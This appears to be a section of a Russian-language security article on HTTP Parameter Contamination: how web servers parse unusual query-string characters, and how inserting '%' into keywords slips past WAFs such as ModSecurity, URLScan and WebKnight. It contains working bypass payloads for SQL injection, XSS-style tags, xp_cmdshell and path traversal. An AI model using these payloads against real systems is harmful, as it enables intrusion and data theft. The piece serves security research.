[0x03b] - HTTP ParameterContamination
[0x03b] - HTTP ParameterContamination
В основе HTTP ParameterContamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами.
Некоторые факты:
- Термин «строка запроса» обычно относится к части URI, находящейся между "? " и концом URI.
- В RFC 3986 «строка запроса» определяется как последовательность пар поле-значение.
- Пары разделяются симолами " & " или "; "
- RFC 2396 определяет следующие классы символов:
- Незарезервированные: a-z, A-Z, 0-9 and _. ! ~ * ' ()
- Зарезервированные: ; /? : @ & = + $,
- Нецелесообразные 2: { } | \ ^ [ ] `
Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит.
Строка запроса и ответ веб-сервера (Пример)
Строка запроса
|
Ответ веб-сервера / GET значения
| | Apache/2. 2. 16, PHP/5. 3. 3
| IIS6/ASP
| ? test[1=2
| test_1=2
| test[1=2
| ? test=%
| test=%
| test=
| ? test%00=1
| test=1
| test=1
| ? test=1%001
| NULL
| test=1
| ? test+d=1+2
| test_d=1 2
| test d=1 2
| Магическое влияние символа " %" на ASP/ASP. NET
Ключевые слова
| WAF
| ASP/ASP. NET
| sele%ct * fr%om..
| sele%ct * fr%om..
| select * from..
| ; dr%opta%ble xxx
| ; dr%opta%ble xxx
| ; droptablexxx
| < scr%ipt>
| < scr%ipt>
| < script>
| < if%rame>
| < if%rame>
| < iframe>
| #Примеры из реального мира:
1. Обход правила обнаружения SQL-инекции в Mod_Security (modsecurity_crs_41_sql_injection_attacks. conf) [Filtered]----------------------------------------------------------------------------- [SunJun 12 12: 30: 16 2011] [error] [client 192. 168. 2. 102] ModSecurity: Accessdeniedwithcode 403 (phase 2). Pattern match " \\bsys\\. user_objects\\b" at ARGS_NAMES: sys. user_objects. [file " /etc/apache2/conf. d /crs/activated_rules/modsecurity_crs_41_sql_injection_attacks. conf" ] [line " 110" ] [id " 959519" ] [rev " 2. 2. 0" ] [msg " Blind SQL Injection Attack" ] [data " sys. user_objects" ] [severity " CRITICAL" ] [tag " WEB_ATTACK/SQL_INJECTION" ] [tag " WASCTC/WASC-19" ] [tag " OWASP_TOP_10/A1" ] [tag " OWASP_AppSensor/CIE1" ] [tag " PCI/6. 5. 2" ] [hostname " localhost" ] [uri " /" ] [unique_id " TfT3gH8AAQEAAAPyLQQAAAAA" ] [End Code]------------------------------------------------------------------------------ Запрещено: http: //localhost/? xp_cmdshell Пропущено: http: //localhost/? xp[cmdshell
2. ОбходправилаURLScan 3. 1 DenyQueryStringSequences Запрещено: http: //localhost/test. asp? file=.. /bla. txt Пропущено: http: //localhost/test. asp? file=. %. /bla. txt
3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP. Net) Запрещено: http: //victim. com/news. asp? id=10 and 1=0/(select top 1 table_name from information_schema. tables) Пропущено: http: //victim. com/news. asp? id=10 a%nd 1=0/(se%lect top 1 ta%ble_namefr%ominfo%rmation_schema. tables)
Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем " HTTP contamination", вставляя " %" в ключевые слова SQL, которые WAF пропускает. В результате он пересылает на веб-сервер следующую команду:
id=10 and 1=0/(selecttop 1 table_namefrominformation_schema. tables) поскольку " %" является символом-пустышкой для ASP/ASP. Net.
Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным атакам, поскольку для причуд веб-серверов не существует строгих правил.
HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя параметра в строке запроса с помощью символа " %", если WAF блокирует HPP.
|